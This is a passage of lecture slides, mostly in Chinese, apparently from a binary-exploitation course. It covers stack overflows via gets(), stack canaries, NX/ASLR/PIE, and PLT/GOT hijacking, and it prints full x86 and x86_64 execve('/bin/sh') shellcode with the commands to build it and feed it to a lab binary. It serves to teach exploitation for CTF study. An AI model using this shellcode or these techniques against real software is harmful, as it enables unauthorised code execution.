    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp rbp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret main() 的 return value 擺入 rax
  41. 44 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp rbp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret leave = mov rsp, rbp pop rbp
  42. 45 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp rbp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret leave = mov rsp, rbp pop rbp
  43. 46 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp rbp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret leave = mov rsp, rbp pop rbp
  44. 47 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp rbp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret leave = mov rsp, rbp pop rbp
  45. 48 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret leave = mov rsp, rbp pop rbp rbp mov to
  46. 49 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret ret = pop rip
  47. 50 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret ret = pop rip
  48. 51 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret ret = pop rip rip mov to
  49. 52 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret ret = pop rip rip mov to 如果是 dynamically-linked program, main() 跑完會返回到 __libc_start_main() 繼續執行
  50. 54 0x21 Overwriting Return Address --- 1 int main() {

    2 char buf[8]; 3 gets(buf); 4 } low high return addr saved rbp ... user process stack buf
  51. 55 0x21 Overwriting Return Address --- 1 int main() {

    2 char buf[8]; 3 gets(buf); 4 } low high return addr saved rbp ... user process stack buf AAAAAAAA AAAAAAAA AAAAAAAA 收到的 bytes 會被擺進 buf 直到收到一個 newline 或 EOF 才會停止
  52. 56 0x21 Overwriting Return Address --- 1 int main() {

    2 char buf[8]; 3 gets(buf); 4 } 可以覆蓋到 return address low high return addr saved rbp ... user process stack buf AAAAAAAA AAAAAAAA AAAAAAAA 收到的 bytes 會被擺進 buf 直到收到一個 newline 或 EOF 才會停止
  53. buf 57 low high return addr saved rbp ... user

    process stack 0x22 Stack Canary --- • 防止 buffer overflow 漏洞被利用 (exploit) 的技術 ◦ 隨機生成 8 bytes 擺在 saved rbp 前 • function 返回前, 會去檢查此 8 bytes 是否被修改 ◦ 若被修改了, 代表發生 buffer overflow ◦ 執行 __stack_chk_fail(), 結束程式 • 程式被執行後, 所有 function 內 canary 都相同, 下次執行後 canary 會和前一次不同 • 有 canary 怎麼 pwn ◦ 想辦法 leak canary ◦ 蓋 return addr 的時候, canary 的地方擺他原本的值 canary
  54. 60 0x31 Shellcode (Basics) --- low high return addr saved

    rbp ... user process stack buf • 指的是一串可以直接被執行的 machine code ◦ 長得像:“\xeb\x10\x12\x5f\x48\x31 ...” ◦ 若執行後可以給我們 shell, 就叫 shellcode • 範例: ◦ 假設 buf 的 address 是 0x7fffffffe790 ◦ 把 shellcode 放進 buf ◦ return address 蓋成 0x7fffffffe790 ◦ function 結束時就會 return 到我們的 shellcode
  55. 61 0x31 Shellcode (Basics) --- buf low high return addr

    saved rbp ... user process stack shellcode AAAAAAAA AAAAAAAA 0x7fffffffe790 0x7fffffffe790 • 指的是一串可以直接被執行的 machine code ◦ 長得像:“\xeb\x10\x12\x5f\x48\x31 ...” ◦ 若執行後可以給我們 shell, 就叫 shellcode • 範例: ◦ 假設 buf 的 address 是 0x7fffffffe790 ◦ 把 shellcode 放進 buf ◦ return address 蓋成 0x7fffffffe790 ◦ function 結束時就會 return 到我們的 shellcode
  56. 62 0x32 NX, ASLR, PIE --- • NX (No eXecute)

    ◦ 防止 data segment 被擺放並執行惡意 machine code 的技術 ◦ r-x: .text ◦ rw-: .bss, .data, heap, stack • ASLR (Address Space Layout Randomization) ◦ 此功能由 kernel 提供 ◦ 隨機化 heap, libraries, stack 的位址 • PIE (Position-Independent Executable) ◦ gcc source.c -fPIE ◦ 隨機化 .text, .rodata, .data, .bss stack shared libraries user process virtual address space .text .rodata .data heap .bss
  57. • System call (syscall) ◦ user process 可以透過 syscall 委託

    kernel 幫他做一些需要較高權限的工作 ◦ e.g., sys_execve(), sys_open(), sys_read(), sys_write(), etc. • 如何寫 assembly 呼叫 x86_64 syscall ◦ 後面有 32-bit 和 64-bit 的範例 • Linux kernel syscall reference ◦ 32 bits: [link] ◦ 64 bits: [link] 63 0x33 Write Your Own Shellcode --- • x86_64: ◦ rax: syscall_number ◦ rdi: arg0 ◦ rsi: arg1 ◦ rdx: arg2 ◦ r10: arg3 ◦ r8: arg4 ◦ r9: arg5 到這裡查你要的 syscall 編號和對應的參數
  58. 64 0x33 Write Your Own Shellcode (x86) --- 1 [global

    _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 shell.S By default, the entry point of an ELF is _start JMP-CALL-POP Trick
  59. 65 0x33 Write Your Own Shellcode (x86) --- By default,

    the entry point of an ELF is _start 1 [global _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 JMP-CALL-POP Trick shell.S
  60. 66 0x33 Write Your Own Shellcode (x86) --- 1 [global

    _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` JMP-CALL-POP Trick shell.S
  61. 67 0x33 Write Your Own Shellcode (x86) --- 1 [global

    _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` JMP-CALL-POP Trick shell.S
  62. 68 0x33 Write Your Own Shellcode (x86) --- 1 [global

    _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` Pops 8 bytes off the stack into ebx, i.e. ebx = the address of “/bin/sh” JMP-CALL-POP Trick shell.S
  63. 69 0x33 Write Your Own Shellcode (x86) --- 1 [global

    _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` Pops 8 bytes off the stack into ebx, i.e. ebx = the address of “/bin/sh” issue the syscall: sys_execve(“/bin/sh”, 0, 0); JMP-CALL-POP Trick shell.S
  64. 70 0x33 Write Your Own Shellcode (x86) --- nasm -f

    elf32 -g -F stabs shell.S -o shell.o objdump -d shell.o 1 [global _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 JMP-CALL-POP Trick shell.S
  65. 71 0x33 Write Your Own Shellcode (x86) --- nasm -f

    elf32 -g -F stabs shell.S -o shell.o objdump -d shell.o 1 [global _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 shellcode JMP-CALL-POP Trick shell.S
  66. 72 0x33 Write Your Own Shellcode (x86_64) --- 1 [global

    _start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop rdi 8 xor rax, rax 9 add al, 59 10 xor rsi, rsi 11 xor rdx, rdx 12 syscall 13 nop 14 15 ed: 16 call st 17 db "/bin/sh", 0 nasm -f elf64 -g -F stabs shell.S -o shell.o objdump -d shell.o shellcode JMP-CALL-POP Trick shell.S
  67. 73 0x34 Summary --- • Jmp-Call-Pop Trick ◦ 寫出來的 shellcode

    會是 NULL-free(中間沒有夾雜 NULL byte) ◦ 中間如果夾雜 NULL byte,scanf() strcpy() 這些函式吃到 0x00 就會截斷 input • 所以每次都要手動用 objdump -d shell.o 自行提取 machine code 並寫到 shell.bin 嗎? ◦ 提供給大家一個 Makefile,用之前要安裝 nasm(Netwide Assembler) ◦ 用法:cd 進去直接 make ◦ https://github.com/aesophor/ctf/tree/master/utils/shellcode/x86_64 • 用 pwntools 寫 shellcode ◦ 自行延伸
  68. 74 Lab2 shellcode • 自己寫 shell.S 並組譯出 shell.o • 從

    shell.o 提取 shellcode • (cat shell.bin; cat -) | ./shellcode
  69. 76 0x41 Lazy Binding --- • Dynamically-linked program 通常會用到 shared

    library 中的 functions ◦ 可能只會用到當中的少部分 functions ◦ 所以等到真的要呼叫某個 shared library function 的時候, 其 address 才會被解析 (resolve) ◦ 這就是 Lazy Binding • Lazy Binding 靠兩張表實現 Table Section Name 說明 GOT .got.plt Global Offset Table 一個 function 在表中會有一個對應的 entry 1. 未解析: 指向 PLT 內解析 function address 的 code 2. 已解析: 指向該 libc function PLT .plt Procedure Linkage Table 指向 GOT 的第 n 個 entry
  70. 77 0x42 PLT, GOT --- 1 #include <stdio.h> 2 3

    int main() { 4 puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret • PLT & GOT 如何運作
  71. 78 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 PLT 0x42 PLT, GOT --- • PLT & GOT 如何運作
  72. 79 • PLT & GOT 如何運作 1 #include <stdio.h> 2

    3 int main() { 4 puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x401036 (puts@plt+6) ... 0x404018 <[email protected]> 0x404020 0x404028 GOT PLT 0x42 PLT, GOT ---
  73. 80 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x401036 (puts@plt+6) ... 0x404018 <[email protected]> 0x404020 0x404028 = jmp 0x401036 GOT PLT 0x42 PLT, GOT --- • PLT & GOT 如何運作
  74. 81 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x401036 (puts@plt+6) ... 0x404018 <[email protected]> 0x404020 0x404028 GOT PLT 0x42 PLT, GOT --- • PLT & GOT 如何運作
  75. 82 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x401036 (puts@plt+6) ... 0x404018 <[email protected]> 0x404020 0x404028 GOT PLT 0x42 PLT, GOT --- • PLT & GOT 如何運作
  76. 83 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x401036 (puts@plt+6) ... 0x404018 <[email protected]> 0x404020 0x404028 _dl_runtime_resolve_xsavec() GOT PLT libc 0x42 PLT, GOT --- • PLT & GOT 如何運作 尋找 puts() 的真正 address, 找到後填入 GOT
  77. 84 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x7ffff7e4fab0 (puts) ... 0x404018 <[email protected]> 0x404020 0x404028 _dl_runtime_resolve_xsavec() GOT PLT libc 0x42 PLT, GOT --- • PLT & GOT 如何運作 尋找 puts() 的真正 address, 找到後填入 GOT
  78. 85 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x7ffff7e4fab0 (puts) ... 0x404018 <[email protected]> 0x404020 0x404028 _dl_runtime_resolve_xsavec() GOT PLT libc 0x42 PLT, GOT --- • PLT & GOT 如何運作
  79. 86 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x7ffff7e4fab0 (puts) ... 0x404018 <[email protected]> 0x404020 0x404028 _dl_runtime_resolve_xsavec() puts() GOT PLT libc 0x42 PLT, GOT --- • PLT & GOT 如何運作
  80. 87 1 #include <stdio.h> 2 3 int main() { 4

    puts(“hi”); 5 } Dump of assembler code for function main: 0x401126 <+0>: push rbp 0x401127 <+1>: mov rbp,rsp 0x40112a <+4>: lea rax,[rip+0xed3] 0x401131 <+11>: mov rdi,rax 0x401134 <+14>: call 0x401030 <puts@plt> 0x401139 <+19>: mov eax,0x0 0x40113e <+24>: pop rbp 0x40113f <+25>: ret 0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008 0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010 0x40102c: nop 0x401030 <puts@plt>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <[email protected]> 0x401036 <puts@plt+6>: push 0x0 0x40103b <puts@plt+11>: jmp 0x401020 0x7ffff7e4fab0 (puts) ... 0x404018 <[email protected]> 0x404020 0x404028 _dl_runtime_resolve_xsavec() puts() GOT PLT libc 0x42 PLT, GOT --- • PLT & GOT 如何運作 下次呼叫 puts@plt 時, 它就可以直接從 GOT 找到 puts 的真正 address, 無需再解析一次
  81. 88 0x43 GOT Hijacking --- • 篡改 GOT ◦ 假設

    GOT[n] 存的是 puts() 真正的 address ◦ 呼叫 puts@plt 等於 jmp GOT[n] ◦ 我們可以 把 GOT[n] 改成 system() 的 address ◦ 下次呼叫 puts@plt 就會 jmp 到 system() • checksec --file=<binary> GOT 的第 n 條 entry <- 通常需要用到 ROP
  82. 89 0x43 GOT Hijacking --- • 篡改 GOT ◦ 假設

    GOT[n] 存的是 puts() 真正的 address ◦ 呼叫 puts@plt 等於 jmp GOT[n] ◦ 我們可以 把 GOT[n] 改成 system() 的 address ◦ 下次呼叫 puts@plt 就會 jmp 到 system() • checksec --file=<binary> ◦ 什麼情況下可以 Hijack GOT? 1. no RELRO - 可以 2. partial RELRO - 可以 3. full RELRO - 不可
  83. 90 0x43 GOT Hijacking --- • 篡改 GOT ◦ 假設

    GOT[n] 存的是 puts() 真正的 address ◦ 呼叫 puts@plt 等於 jmp GOT[n] ◦ 我們可以 把 GOT[n] 改成 system() 的 address ◦ 下次呼叫 puts@plt 就會 jmp 到 system() • checksec --file=<binary> ◦ stack shared libraries user process virtual address space .text .rodata .data heap .bss 什麼情況下可以 Hijack GOT? 1. no RELRO - 可以 2. partial RELRO - 可以 3. full RELRO - 不可 Q. 有 PIE 怎麼辦? A. leak 出 ELF 裏面任何 symbol 的 runtime address, 然後把它扣掉該 symbol 在 ELF 裏面的 offset, 就可以 回推出 ELF base, 並且進一步推出其他 所有 symbols 的 addresses 雖然 ELF base address 被隨機化了, 但裏面的 symbol 的 offset 不會變
  84. 91 Lab3 GOT • 這題有開 PIE, 所以 ELF base 是隨機化的

    • 雖然 GOT 的位址是隨機化的, 但 GOT 相對於 ELF base 的 offset 是固定的 • 題目直接給你 main() 的位址了, 所以可以回推出 ELF base • 用題目給的 arbitrary write 做 GOT hijacking
